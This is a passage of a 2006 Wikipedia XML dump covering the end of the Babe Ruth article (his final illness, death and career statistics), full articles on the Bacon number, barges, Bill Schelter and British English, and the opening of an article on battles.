Unfortunately, the apparent recovery was only a brief remission of the cancer.  His health gradually declined, and he became sick and in as much pain as he had ever been.  On [[June 13]], [[1948]], a weak Ruth was barely able to attend the Yankees 25th anniversary celebration of the opening of Yankee Stadium.  He met old teammates from the 1923 Yankee team and later stood for photographs.  The highlight of the day was when his name was announced over the loudspeaker, and the crowd erupted into a loud roar.  Ruth walked slowly to the microphone using a baseball bat as a cane, and his old Yankees uniform he wore appeared several sizes too large on his now frail body.  Ruth spoke a few words at the microphone, saying how much he enjoyed seeing his old teammates and being a Yankee.  After a 2-inning game played by the old players, Ruth left Yankee Stadium for the last time.  Shortly before, he had a conversation with former teammate [[Joe Dugan]].  Ruth told Dugan, &quot;Joe, I'm gone. I'm done Joe,&quot; a confession which had Ruth breaking down and crying, and Dugan crying with him.

There can be little doubt that the cause of Ruth's [[Head and neck cancer|throat cancer]] was a lifelong habit of [[tobacco]] use.  He began chewing tobacco at the age of seven, and in his teens began smoking cigarettes and cigars regularly, sometimes smoking up to a dozen cigars a day.  He also used [[snuff]] in such large amounts that the dust would clog his [[Nasal cavity|nasal passages]].  Ruth's lifelong problems with colds and other respiratory problems can also likely be tied to this habit.  While there was strong medical evidence that tobacco use and cancer were linked, the public was not widely aware of this.  However, even if this information had been common knowledge during Ruth's lifetime, it is not likely that this would have changed his--or most other ballplayers--behavior, as the baseball culture of tobacco use had been ingrained since baseball's beginnings.

==Death==
Shortly after he had attended the Yankee Stadium anniversary event, Ruth was again back in the hospital.  By now he knew it was [[cancer]] even if no one had told him, which apparently no one had.  He received hundreds of well-wishing letters daily, many requesting autographs and photos.  With his wife Claire's help, he made sure he answered every one.  He was still able to walk and get out even near his end, and on July 26, 1948, he attended the premiere of the film about his life, ''The Babe Ruth Story'', which starred [[William Bendix]], who had been a Yankee bat boy in the early 1920's.  Feeling very ill while watching the film, Ruth left well before the film was finished.  
[[Image: Ruthfuneral.jpg|thumb|300px|right|On August 19, 1948, thousands of people lined the streets of New York City to see Ruth's funeral cortege.]] 

Ruth returned to the hospital, and this time he would never leave.  The [[cancer]] had eaten away at his body ([[cachexia]]) leaving him with an emaciated appearance, and he was barely able to speak.  Only a few visitors were allowed to see him, one of whom was the then [[National League]] President and future [[Commissioner of Baseball]], [[Ford Frick]].  Frick had been a good friend of Ruth's since Ruth's early days as a Yankee and the ghostwriter for various articles supposedly written by Ruth.  In Ruth's last days, scores of reporters hovered around the hospital, almost anticipating the end.  On [[August 16]], the day after Frick's visit, Babe Ruth died at 8:01 p.m. at the age of 53.  His body lay in state in [[Yankee Stadium]] for two days; more than 200,000 people filed past the casket. Three days later 9,500 mourners crammed into the area around [[St. Patrick's Cathedral]] for his funeral. Tens of thousands more lined the streets as his funeral cortege drove by.  The outpouring of grief from so many thousands of [[United States|Americans]] was in marked contrast to the few dozen people who would later attend the services for his great rival [[Ty Cobb]] in 1961. Ruth was buried in the [[Cemetery of the Gate of Heaven]] in [[Hawthorne, New York|Hawthorne]], [[New York]], about 25 miles (40 km) north of [[New York City]]. His wife Claire was buried next to him upon her death in 1976.

Ruth's birthplace has been preserved as a combination Babe Ruth and Baltimore Orioles museum, and is just a short walk from [[Oriole Park at Camden Yards]].

==Statistics==
'''[[Baseball statistics|Career Statistics]]'''

{| class=&quot;wikitable&quot;
|+ Hitting
|-
! [[Games played|G]]
! [[At bat|AB]]
! [[Hit (baseball statistics)|H]]
! [[Double (baseball)|2B]]
! [[Triple (baseball)|3B]]
! [[Home run|HR]]
! [[Run (baseball statistics)|R]]
! [[Runs batted in|RBI]]
! [[Base on balls|BB]]
! [[Strikeout|SO]]
! [[Batting average|AVG]]
! [[On base percentage|OBP]]
! [[Slugging percentage|SLG]]
! [[On-base plus slugging|OPS]]
|-
| 2,503
| 8,399
| 2,873
| 506
| 136
| 714
| 2,174
| 2,213
| 2,062
| 1,330
| .342
| .474
| .690
| 1.164
|}

{| class=&quot;wikitable&quot;
|+ Pitching
|-
! [[Win (baseball statistics)|W]]
! [[Win (baseball statistics)|L]]
! [[Win (baseball statistics)|WP]]
! [[Games pitched|GP]]
! [[Games started|GS]]
! [[Complete game|CG]]
! [[Shutout|Sh]]
! [[Save (sport)|SV]]
! [[Innings pitched|IP]]
! [[Base on balls|BB]]
! [[Strikeout|SO]]
! [[Earned run average|ERA]]
! [[Walks plus hits per inning pitched|WHIP]]
|-
| 94
| 46
| .671
| 163
| 148
| 107
| 17
| 4
| 1,221.1
| 441
| 488
| 2.24
| 1.16
|}

==Trivia==
*For the first 40 years of his life, Ruth believed his birthday to have been [[February 7]], [[1894]]. Most contemporary accounts, therefore, will contain inaccurate accounts of Ruth's age.  Ruth continued to use the 1894 date when asked his age, because he was used to it.

*The statue of Babe Ruth at the Eutaw Street entrance of Camden Yards has him holding a catcher's mitt for a right handed player. Despite popular belief, this is not a mistake. The statue portrays Ruth during his days at St. Mary's Industrial School for Boys. In his autobiography Ruth states that lefty gloves were not available.

*Threw and batted left-handed, and was also a left-handed golfer and bowler, but wrote right-handed.

*A member of the [[Knights of Columbus]].

*Spoke German fluently, having learned from his parents, who were the children of German immigrants.

*In 1918, Babe's father George, Sr., was killed when intervening in a dispute at his [[tavern]]. Angry at all the noise some people were making, George, Sr., got into a fight outside his tavern with one of the family members. During the scuffle, he fell and suffered a fatal [[head]] injury.

*In her book ''My Dad, The Babe'', his adopted daughter Dorothy Ruth Pirone claimed she was his biological child, the product of an affair between Ruth and a longtime family friend.

*Played himself in a cameo appearance in the [[Harold Lloyd]] film ''Speedy'' (1928).

*In 1929, the Yankees became the first team to regularly use uniform numbers (the [[Cleveland Indians]] used them briefly in 1916). Since Ruth batted third in the order, he was assigned number 3. Eventually, uniform numbers were associated with players without regard to the batting order. The Yankees retired Ruth's number on June 13, 1948. The first number the Yankees had retired was [[Lou Gehrig]]'s number.

*Ruth's wife Claire was a cousin of [[Baseball Hall of Fame]]r [[Johnny Mize]].

*Some speculate as to how Ruth's home run total would be different if he played under current rules.  For example, in 1918 Ruth had a game-ending hit over the fence that was only scored as a triple because rules in effect until 1920 stated that in that situation, only the minimun hit needed to score the winning run would be credited, and there was a runner on first.  Today that hit would be scored as a home run.  On the other hand, until 1931, a ball that hit the playing surface in fair territory and bounced over the fence was credited as a home run, whereas today such a hit would be scored as a double.

*It is a myth the Yankees wore pinstripes because owner [[Jacob Ruppert]] wanted to minimize Ruth's girth. The Yankees, then the Highlanders, began wearing pinstripes in 1912. They discontinued them for two years, but they brought back the pinstripes in 1915 and have worn them since.

*During [[World War II]], [[United States|American]] [[GI]]'s on [[Guadalcanal (Pacific Ocean island)|Guadalcanal]] reported that [[Japanese people|Japanese]] soldiers would shout at them &quot;To hell with Babe Ruth!&quot; 

*The Yankees dedicated a monument to Ruth on [[April 19]], [[1949]]. It calls him &quot;A great ball player, a great man, a great American.&quot; It now rests in Monument Park at Yankee Stadium.

*In the early 1990s, biographical films were released about Ruth in consecutive years:
:''Babe Ruth'' was a 1991 made-for-TV movie, starring Stephen Lang. It featured [[Pete Rose]] as [[Ty Cobb]]. It also won an [[Emmy]] for costuming.  [[Donald Moffat]] played Yankee owner [[Jacob Ruppert]], and would later play Baseball Commissioner and Ruth confidant [[Ford Frick]] in the 2001 film ''[[61*]]''.

:''The Babe'' was a 1992 theatrical film, starring [[John Goodman]], which garnered rather more publicity in part due to the fact he was starring in ''[[Roseanne]]'', a populuar television [[sitcom]] at the time.  Goodman, 39 years old at the time of filming, played Ruth between the ages of 19 and 40. 

*Ruth's 1919 contract that sent him from Boston to New York was auctioned off for $996,000 at [[Sotheby's]] on June 10, 2005. Most of the money went to an organization that fights world hunger.

*During an exhibition game on April 2, 1931, Ruth and [[Lou Gehrig]] were both struck out by a 17-year-old female pitcher, Jackie Mitchell, while playing the [[Chattanooga Lookouts]] in [[Engel Stadium]].

&lt;table border = 1&gt;
&lt;tr&gt;
&lt;td width = 30% align = center&gt;
Preceded by:&lt;br&gt;[[Ned Williamson]]
&lt;td width = 40%  align = center&gt;
[[Home Run#Progression of the single-season home run record|List of homerun leaders]]
&lt;td width = 30% align = center&gt;
Succeeded by:&lt;br&gt;[[Roger Maris]]
&lt;/table&gt;
&lt;/center&gt;

==See also==
*[[MLB All-Time leaders in Homeruns for a Pitcher|All-Time leaders in Homeruns for a Pitcher]]
*[[Curse of the Bambino]]
*[[Boston Red Sox Hall of Fame]]
*Babe Ruth has been featured in several video games including [[Baseball Stars]] (1988)
*[[Baby Ruth]] (candy bar)

== References ==
*Allen, Maury.  ''Baseball's 100''.  A &amp; W Publishers, 1981, 316 pages. 
*''The Baseball Biographical Encyclopedia''.  Total/Sports Illustrated, 2000, 1298 pages. 
*''The Baseball Encyclopedia, 10th Edition''.  Macmillan, a Simon and Schuster Macmillan Company, 1996, 3027 pages.
*Cohen, Richard M,  David Neft and Jordan Deutsch.  ''The World Series''.  The Dial Press, 1979, 416 pages. 
*Creamer, Robert W.  ''Babe: The Legend Comes to Life''.  Simon and Schuster, 1974, 440 pages.
*Graham Jr.,  Frank.  ''Great Hitters of the Major Leagues''.  Random House, 1969, 171 pages. 
*James, Bill.  ''The New Bill James Baseball Abstract''.  The Free Press, a division of Simon and Schuster, 2001, 998 pages. 
*Levinson, David, and Karen Christensen, editors.  ''The Encyclopedia of World Sport''.  Oxford University Press, 1996, 488 pages.  
*Reidenbach, Lowell.  ''Cooperstown: Where the Legends Live Forever''.  The Sporting News Publishing, 1993, 344 pages. 
*Ritter, Lawrence, and Mark Rucker.  ''The Babe: A Life in Pictures''.  Ticknor and Fields, 1988, 282 pages.
*Ritter, Lawrence.  ''The Glory of Their Times''.  The Macmillan Company, 1966, 300 pages. 
*Schlossberg, Dan.  ''The Baseball Catalog''.  Jonathan David Publishers, 1980, 310 pages.
*''The STATS All-Time Major League Baseball Handbook''.  STATS Publishing, 1998, 2696 pages. 
*Stout, Glenn.  ''Yankees Century''.   Houghton Mifflin, 2002, 478 pages.

==External links==
{{wikiquote}}
*[http://www.baberuth.com/ BabeRuth.com] - Official site
*[http://www.sportslegendsatcamdenyards.com/ Babe Ruth Birthplace and Museum]
*[http://www.baseballhalloffame.org/hofers_and_honorees/hofer_bios/ruth_babe.htm National Baseball Hall of Fame]
*{{baseball-reference|id=r/ruthba01}}
*[http://espn.go.com/sportscentury/features/00016451.html Lovable Ruth was everyone's Babe] - article by Larry Schwartz on ESPN.com 

{{start box}}
{{succession box | before = [[George Sisler]] | title = [[MLB Most Valuable Player award|American League Most Valuable Player]]| years = 1923 | after = [[Walter Johnson]]}}

[[Category:1895 births|Ruth, Babe]]
[[Category:Roman Catholics|Ruth, Babe]]
[[Category:German-Americans|Ruth, Babe]]
[[Category:People from Baltimore|Ruth, Babe]]
[[Category:Knights of Columbus|Ruth]]
[[Category:Baseball Hall of Fame|Ruth, Babe]]
[[Category:Major league right fielders|Ruth, Babe]]
[[Category:Major league pitchers|Ruth, Babe]]
[[Category:Major league left fielders|Ruth, Babe]]
[[Category:New York Yankees players|Ruth, Babe]]
[[Category:Boston Braves players|Ruth, Babe]]
[[Category:Boston Red Sox players|Ruth, Babe]]
[[Category:1933 American League All-Stars|Ruth, Babe]]
[[Category:1934 American League All-Stars|Ruth, Babe]]
[[Category:1948 deaths|Ruth, Babe]]
[[Category:500 home run club|Ruth, Babe]]

[[da:Babe Ruth]]
[[de:George Herman Ruth]]
[[fr:Babe Ruth]]
[[hr:George Herman Ruth]]
[[it:Babe Ruth]]
[[ja:ベーブ・ルース]]
[[fi:Babe Ruth]]
[[sv:Babe Ruth]]</text>
    </revision>
  </page>
  <page>
    <title>Bacon number</title>
    <id>4174</id>
    <revision>
      <id>40360822</id>
      <timestamp>2006-02-20T01:29:55Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Kevin Bacon]], a well known actor, inspired a college movie game called [[Six Degrees of Kevin Bacon]], which is centered around finding the '''Bacon number''' of an arbitrary actor or actress.  The Bacon number of an actor or actress is determined by the follow rules:
* Kevin Bacon himself has a Bacon number of zero.
* The Bacon number of actor or actress A is defined to be the minimum of the Bacon numbers of all the actors or actresses with whom A appeared in a movie produced by a major studio, plus one. The most common sign of a film's validity is its presence in the [[Internet Movie Database]].

By this definition, there is at least one IMDb actor with an infinite Bacon number, [[Fred Ott]]. He acted in only two films and is the only actor in each of them, disproving the '''Theory of [[Six Degrees of Kevin Bacon]]''' that everyone who has ever appeared in any movie has a finite Bacon number.

However, the majority of actors do have a Bacon number of 2 or 3. The higher the Bacon number of an actor, the less connected they are to other actors. Using one of the actors with the highest known finite Bacon number (8), [[William Rufus Shafter]] as the centre of the acting universe instead of Bacon, we can find two actors with a Rufus Shafter number of 15.

The Bacon number is an application of the same idea as the [[Erd&amp;#337;s number]] in mathematics to the movie industry. [[Paul Erd&amp;#337;s]] was himself believed to have a Bacon number of 4, due to his appearance as himself in the 1993 film ''N Is a Number'', but this is now believed to be in error due to a conflation of similarly named persons.

Notably, Bacon is not the most linkable actor. That honour (as of [[December 30]], [[2004]]) goes to [[Rod Steiger]]. The average Steiger number in the acting community is 2.679. By contrast, the average Bacon number is 2.955.

&lt;center&gt;
'''Actors with record largest finite Bacon number by year'''
{|
! '''Year''' !!'''Record'''
|-
| 1996 || 7
|-
| 1997 || 7
|-
| 1998 || all 7s
|-
| 1999 || 8
|-
| 2000 || all 8s
|-
| Dec 2000 || 9, 10
|-
| Jul 2003 || all 8s
|}
&lt;/center&gt;

But note: according to the Oracle of Bacon at Virginia, 
:&quot;About 12% of all actors cannot be linked to the rest of the movie universe, either because they have appeared only in TV features or straight-to-video releases that the Oracle doesn't count, or because they have not appeared in any features with actors from the Hollywood mainstream.&quot;

A further extension of the idea is the [[Erdős-Bacon number]].

==External links==
* The [http://oracleofbacon.org/ Oracle of Bacon at Virginia] computes the Bacon number of any actor or actress from IMDb data
* [http://www.cinfn.com/ Cinema FreeNet Movie Connector] finds links between stars, but can also use directors and producers.
* [http://pro.imdb.com/help/general/bacon IMDb Pro.com's &quot;What Is a Bacon Number?&quot;] - Bacon Number is automatically calculated for each actor on his/her trivia page on IMDb Pro.

[[Category:Social networking]]

[[de:Bacon-Zahl]]
[[pl:Liczba Bacona]]
[[th:หมายเลขเบคอน]]</text>
    </revision>
  </page>
  <page>
    <title>Barge</title>
    <id>4177</id>
    <revision>
      <id>41741323</id>
      <timestamp>2006-03-01T12:09:58Z</timestamp>
      <contributor>
        <ip>81.245.45.51</ip>
      </contributor>
      <comment>/* External links */  More precise</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:CrushedStoneBarge.jpg|thumb|right|250px|Self-propelled barge carrying bulk crushed stone]]
A '''barge''' is a flat-bottomed [[boat]], built mainly for [[river]] and [[canal]] transport of heavy goods. Most barges are not self-propelled and need to be moved by [[tugboat]]s towing or [[towboats]] pushing them. Barges on canals (towed by draft animals on an adjacent [[towpath]]) contended with the [[railway]] in the early [[industrial revolution]] but [[History of the British canal system|were outcompeted]] in the carriage of high value items due to the higher speed, falling costs, and route flexibility of [[rail transport]].  Barges are still used today for low value bulk items, as the cost of hauling goods by barge is very low.

Self propelled barges may be used as such when traveling downstream or upstream in placid waters and operated as an unpowered barge with the assistance of a tugboat when traveling upstream in faster waters.

Types of barges:
*[[Barracks barge]] (living quarters)
*[[Dry bulk cargo barge]] (coal, rock, grain, etc.)
*[[Liquid cargo barge]] (fresh water, finished petroleum products)
*[[Railcar barge]] (with tracks and using special loading/offloading facilities such as a [[Ferry slip|barge slip]])
*[[Vehicular barge]], often used to transport vehicles to natural shorelines such as [[Beach|beaches]]
*[[Royal barge]] (ceremonial)
*[[Lighter (barge)|Lighter]]
*[[Jackup Barge]], mainly used inshore for a stationary stable platform for civils diving or drilling operations.

On the [[Canals of the United Kingdom|UK canal system]], the term '''barge''' is used to describe a boat wider than a [[narrowboat]].

The people who move barges are often known as '''[[lightermen]]'''. 

In the U.S. deckhands perform the labor and are supervised by a leadman and or the mate. The Captain and Pilot steer the towboat. The towboat pushes one or more barges that are held together with rigging and is called collectively the tow. The crew live aboard the towboat as it travels along the inland river system and or the intracoastal waterways. These towboats travel between ports and are also called line haul boats.

A '''barge pole''' is used by lightermen to fend off the barge as it nears other vessels or a wharf. These long poles have given rise to the saying, &quot;I wouldn't touch that (subject/thing) with a barge pole.&quot; The meaning is that something is so unseemly or contentious that the person wants to avoid it or being associated with it at all costs. A common variation is to say, &quot;I wouldn't touch that with a ''(insert length)'' barge pole.&quot; Typically the length for small avoidance is &quot;ten foot&quot;: The greater the length, the more the sayer feels it is to be avoided, but the expression &quot;I wouldn't touch it with a [[ten foot pole]]&quot; is by now the most common one by far.

The barge pole mentioned above is properly called a &quot;pike pole.&quot; 

==Etymology==
''barge'' is attested from [[1300]], from [[Old French]] ''barge'', from [[Vulgar Latin]] ''barga''. The word originally could refer to any small boat, the modern meaning arose around [[1480]].
''[[barque|bark]]'' &quot;small ship&quot; is attested from [[1420]], from Old French ''barque'', from Vulgar Latin ''barca'' ([[400]] AD). The more precise meaning &quot;three-masted ship&quot; arose in the [[17th century]], and often takes the French spelling for disambiguation.

Both are probably derived from a [[Latin]] ''*barica'', from [[Greek language|Greek]] ''baris'' &quot;Egyptian boat&quot;, ultimately from m [[Coptic language|Coptic]] ''bari'' &quot;small boat.&quot;

==See also==
[[Thames sailing barge]]

==External links==
* [http://www.barges.org DBA - Dutch Barge Association] Living aboard ex-commercial barges or any other type of broad-beam inland waterways craft

{{Wiktionary|Barge}}

[[Category:Barges|*]]
[[Category:Boat types]]
[[de:Schute]]
[[nl:aak (schip)]]
[[pl:Barka]]
[[ru:Аак]]
[[zh:&amp;#39539;&amp;#33337;]]</text>
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  <page>
    <title>Bill Schelter</title>
    <id>4178</id>
    <revision>
      <id>28222252</id>
      <timestamp>2005-11-13T17:39:46Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <comment>fmt</comment>
      <text xml:space="preserve">'''William Frederick Schelter''' (died [[July 30]], [[2001]]) was a professor of [[mathematics]] at the [[University of Texas at Austin]] and a [[Lisp programming language|Lisp]] [[developer]] and [[programmer]].  Schelter is credited with the development of [[GNU Common Lisp]] (gcl) implementation of [[Common Lisp]] and the GPL'd version of the [[computer algebra system]] [[Macsyma]] called [[Maxima|GNU Maxima]].   He is also credited with the first port of the GNU C [[compiler]] to the INTEL 386 architecture, used in the original implementation of the [[Linux]] kernel [http://alamos.math.arizona.edu/symcomp/announcement.txt].

Schelter obtained his [[Doctor of Philosophy|Ph.D.]] at [[McGill University]] in [[1972]].   His mathematical specialty was [[computational algebra]] and its applications, including [[automated theorem proving]] in geometry.

In the summer of [[2001]] he died suddenly of a [[heart attack]] while travelling in [[Russia]].

==References==
* S. Chou and W. Schelter. ''Proving Geometry Theorems with Rewrite Rules'' Journal of Automated Reasoning, 1986.

==External links==
*{{MathGenealogy|id=13017}}
*[http://www.ma.utexas.edu/maxima.html Maxima homepage. Maxima is now available under GPL].

[[Category:2001 deaths|Schelter, Bill]]
[[Category:Lisp programming language|Schelter, Bill]]
[[Category:Mathematicians|Schelter, Bill]]
[[Category:Programmers|Schelter, Bill]]

[[pl:William Schelter]]</text>
    </revision>
  </page>
  <page>
    <title>British English</title>
    <id>4179</id>
    <revision>
      <id>41913306</id>
      <timestamp>2006-03-02T16:01:41Z</timestamp>
      <contributor>
        <ip>62.43.0.140</ip>
      </contributor>
      <text xml:space="preserve">{{English dialects}}

'''British English''' ('''BrE''') is a term used to differentiate between the form of the [[English language]] used in the [[United Kingdom]] and those used elsewhere.  It includes all the varieties of English used within the [[UK]], including [[England]], [[Scotland]], [[Northern Ireland]] and [[Wales]].

==Definition==

There is no formal definition of '''British English''' other than that it is a term used (especially by Americans) to describe English as used in the United Kingdom.  As with many other aspects of British culture, the language is governed by convention rather than formal code:  there is no equivalent body to the [[Académie française]], and the authoritative dictionaries (e.g. [[Oxford English Dictionary]], [[Chambers Dictionary]], [[Collins Dictionary]]) record usage rather than prescribe it.  As a result there is significant variation in grammar, usage, spelling, and vocabulary within English as used in the UK, and lively, idiomatic uses of the language are commonplace.  In addition, vocabulary and usage change with time; words are freely borrowed from other languages and other strains of English, and [[neologisms]] are frequent.  
 
While there is a meaningful degree of uniformity in formal written English in the United Kingdom, the forms of spoken English used vary considerably more than in most other areas of the world where English is spoken. [[List of dialects of the English language#Europe|Dialects]] and [[Regional accents of English speakers|accents]] vary not only within regions of the UK, for example in [[Scottish English|Scotland]], [[Mid-Ulster English|Northern Ireland]] and [[Wales]], but also within these countries themselves. The written form of the language, as taught in schools, is universally Commonwealth English, with a slight emphasis on words whose usage varies amongst the different regions of the UK. For example, although the words &quot;wee&quot; and &quot;little&quot; are interchangeable in some contexts, one is more likely to see &quot;wee&quot; written by a Scot than by a Londoner.

For historical reasons dating back to the rise of [[London]] in the 9th century, the form of language spoken in London and the [[East Midlands]] became standard English within the Court, and thus the form generally accepted for use in the law, government, literature and education within the British Isles. Although ''British English'' is often used in the [[United States]] to denote the English spelling and lexicon used outside the US, the term ''[[Commonwealth English]]'' is more accurate for this purpose. The British spellings were most famously recorded in [[Samuel Johnson]]'s ''[[A Dictionary of the English Language]]'' ([[1755]]).

Historically, the widespread usage of English across the world is attributed to the former power of the [[British Empire]], and hence the most common form of English used by the British ruling class that of south-east England (the area around the capital, London, and the ancient English [[university]] towns of [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]]). This form of the language is associated with [[Received Pronunciation]] (RP), which is still regarded by many people outside the UK (especially in the [[United States]]) as &quot;the British accent&quot;. However, even RP has evolved quite markedly over the last 40 years.

From the second half of the 20th century to the present day, the preeminence of the English language has been augmented by the economic, military and political dominance of the United States in world affairs. Indeed, [[American English]] is often regarded by Americans as the most prominent form of English in the world today, a fact reinforced by the large amount of U.S. cultural products (including [[film|films]]) in global circulation.

The form of English spoken and written in the United Kingdom still has a major cultural influence, in particular on the English used in many [[Commonwealth of Nations|Commonwealth]] countries (including [[Australia]], [[South Africa]], and [[India]]), as well as in the [[European Union]]. Although British English is taught and used in the former British colonies of [[Hong Kong]], [[Singapore]] and [[Malaysia]], American English is often taught in [[Japan]]ese schools, and in other schools throughout [[Asia]].

==See also==

*[[English English]]
*[[American English]]
*[[Scottish English]]
*[[Welsh English]]
*[[Mid Ulster English]]
*[[Hiberno-English]]
*[[International English]]
*[[American and British English differences]]
*[[American and British English spelling differences]]
*[[List of dialects of the English language]]
*[[Standard English]]
*[[British Isles (terminology)]]

==References==
*Bragg, M. (2004) 'The Adventure of English', Sceptre. ISBN 0340829931

[[Category:British English|*]]
[[Category:British culture|English, British]]
[[Category:English dialects]]
[[Category:Languages of the United Kingdom]]
[[Category:English language]]
[[Category:Forms of English]]

[[de:Britisches Englisch]]
[[es:Inglés británico]]
[[fr:Anglais britannique]]
[[ko:영국 영어]]
[[he:אנגלית בריטית]]
[[ja:イギリス英語]]
[[simple:British English]]
[[zh:英國英語]]</text>
    </revision>
  </page>
  <page>
    <title>Battle</title>
    <id>4181</id>
    <revision>
      <id>41996433</id>
      <timestamp>2006-03-03T02:53:50Z</timestamp>
      <contributor>
        <ip>216.153.166.226</ip>
      </contributor>
      <comment>Arbela is the incorrect name for the Battle of Gaugamela</comment>
      <text xml:space="preserve">{{alternateuses}}

[[Image:Sadler, Battle of Waterloo.jpg|thumb|right|300px|''The [[Battle of Waterloo]]'' by [[William Sadler]].]]

Generally, a '''battle''' is an instance of [[combat]] in [[warfare]] between two or more parties wherein each group will seek to defeat the others.  Battles are most often fought during [[war]]s or military campaigns and can usually be well defined in time, space and action.  Wars and [[military campaign|campaign]]s are guided by [[military strategy|strategy]] whereas battles are the stage on which [[military tactics|tactics]] are employed.  German strategist [[Carl von Clausewitz]] stated that &quot;the employment of battles to gain the end of war&quot; was the essence of strategy.

== Characteristics of battle ==
[[United Kingdom|British]] [[military historian]] [[John Keegan|Sir John Keegan]] suggested an ideal definition of battle as &quot;something which happens between two [[army|armies]] leading to the moral then physical disintegration of one or the other of them&quot; though the origins and outcomes of battles can rarely be summarised so neatly.

The &quot;action&quot; of battle is to reach a decision &amp;mdash; the ideal decision is victory but strategy and circumstances often require a compromise.  One party is deemed to have achieved victory when its opponent has [[surrender (military)|surrender]]ed, been dispersed, forced to retreat or been rendered militarily ineffective for further combat operations.  However, a battle may end in a [[Pyrrhic victory]] which ultimately favours the defeated party.  If no decision is reached in battle, the result is a [[stalemate]].  A conflict in which one side is unwilling to reach a decision in battle often becomes an [[insurgency]].

Up until the [[20th century]] the majority of battles were of short duration, many lasting a day or less &amp;mdash; the [[Battle of Gettysburg]] and the [[Battle of Nations]] were exceptional for lasting three days.  This was mainly due to the difficulty of supplying an army in the field.  Typically the means of prolonging a battle was by [[siege warfare]].  Improvements in [[transport]]ation and the onset of [[trench warfare]], with its siege-like nature, saw the duration of battles increase to weeks and months, peaking during the [[First World War]].  Nevertheless, in a long battle the regular rotation of units meant that the periods of intensive combat to which an individual soldier was subjected tended to remain brief.

Battles may be small scale, only involving a handful of individuals, perhaps two [[squad]]s, up to battles on [[army]] levels where hundreds of thousands may be engaged in a single battle at one time.  The space a battle occupies depends on the range of the [[weapon]]s of the combatants.  Until the advent of [[artillery]] and [[aircraft]], battles were fought with the two sides in sight, if not reach, of each other.  The depth of the battlefield has also increased in [[modern warfare]] with supporting units in the rear areas &amp;mdash; supply, artillery, medical, etc. &amp;mdash; now outnumbering the front-line combat troops.

Battles are, on the whole, made up of a multitude of individual combats and the individual will usually only experience a small part of the events.  To the [[infantry]]man, there may be little to distinguish between combat as part of a minor raid or a major offensive, nor is it likely that they anticipate the future course of the battle; few of the British infantry who went over the top on the [[first day on the Somme]], [[1 July]], [[1916]], would have anticipated that they would be fighting the same battle in five months time.  Conversely, some of the Allied infantry who had just dealt a crushing defeat to the [[France|French]] at the [[Battle of Waterloo]] fully expected to have to fight again the next day.

== The factors of battles ==
Battles are decided by various factors. The number of men, the [[commanders]] of each army, and the terrain advantages are among the most prominent factors. Battles throughout history have shown that [[morale]] and the [[quality]] of troops are often more important than quantity. The [[Persian Wars]], for example, show that superior morale can overcome numerical disadvantages, especially in the [[Battle of Thermopylae]]. A good example of the opposite is the [[Battle of Gaugamela]]. Quality of the army is determined by morale, that is, spirit of the troops; equipment, and training of the troops. A unit may charge with high morale but less discipline and still emerge victorious. This tactic was effectively employed by [[Napoleon]]. Weapons and armor may also play as a decisive factor; however, during the [[Wars of Scottish Independence]] the [[Scots]] emerged victorious over the [[England|English]] despite inferior weaponry. Discipline within the troops is also important; at the [[Battle of Alesia]], the Romans were greatly outnumbered but won because of superior training. A squad that does not retreat is far more valuable than an army that flees upon sight. Battles are also be determined by terrain. Capturing high ground, for example, has been the central strategy in inumerable battles. An army that holds the high ground forces the enemy to climb, and thus wear down. Although this does not hold as much in modern warfare, with the advent of aircraft, terrain is still vital for camouflauge, especially for [[guerrilla warfare]]. Generals and commanders also play a decisve war during combat. [[Napoleon I of France|Napoleon Bonaparte]] and [[Julius Caesar]] were both legendary generals and, consequently, their armies were extremely successful. An army that can trust the commands of their leader's with convinction in its success invariably has a higher morale than an army that doubts its every move. The British in the naval battle of [[Trafalgar]], for example, owed its success to the reputation of celebrated admiral [[Lord Nelson]].

== Types of battle ==
[[Image:Battle of Gettysburg, by Currier and Ives.png|thumb|right|300px|''The [[battle of Gettysburg]], Pa. July 3d. 1863'', by Currier and Ives]]

Battles can be fought on land, sea, or by the modern age, in the air.  [[Naval battle]]s have occurred since before the [[5th century BC]].  Air battles have been far less common, due to its late conception, the most prominent being the [[Battle of Britain]] in [[1940]]. However since the [[World War II|Second World War]] land or sea battles  have come to rely on air support.  Indeed, during the [[Battle of Midway]], five [[aircraft carrier]]s were sunk without either fleets coming in to direct contact.

There are numerous types of battle.  A &quot;battle of encounter&quot; is a [[meeting engagement]] where the opposing sides collide in the field without either having prepared their attack or defence.  The goal of a &quot;battle of attrition&quot; is to inflict greater loss on the enemy than you suffer yourself; many battles of the First World War were intentionally ([[Battle of Verdun|Verdun]]) or unintentionally ([[Battle of the Somme (1916)|Somme]]) attrition battles.  A &quot;battle of breakthrough&quot; aims to pierce the enemy's defences, thereby exposing the vulnerable flanks which can be turned.  A &quot;battle of encirclement&quot; &amp;mdash; the ''Kesselschlacht'' of the German ''[[Blitzkrieg]]'' &amp;mdash; surrounds the enemy in a [[salients, re-entrants and pockets|pocket]].  A &quot;battle of envelopment&quot; involves an attack on one or both [[flank]]s; the classic example being the double-envelopment of the [[Battle of Cannae]].  A &quot;battle of annihilation&quot; is one in which the defeated party is destroyed in the field, such as the [[France|French]] fleet at the [[Battle of the Nile]].

A &quot;decisive battle&quot; is one of particular importance; often by bringing hostilities to an end, such as the [[Battle of Hastings]], or as a turning point in the fortunes of the [[belligerent]]s, such as the [[Battle of Stalingrad]]. A decisive battle can have [[political]] as well as military impact, changing the balance of power or boundaries between countries.  The concept of the &quot;decisive battle&quot; became popular with the publication in [[1851]] of [[Edward Creasy]]'s ''[[The Fifteen Decisive Battles of the World]]''.  British [[military historian]]s [[J.F.C. Fuller]] (''The Decisive Battles of the Western World'') and [[B.H. Liddell Hart]] (''Decisive Wars of History''), among many others, have written books in the style of Creasy's work.

== The differences among land battles throughout history ==
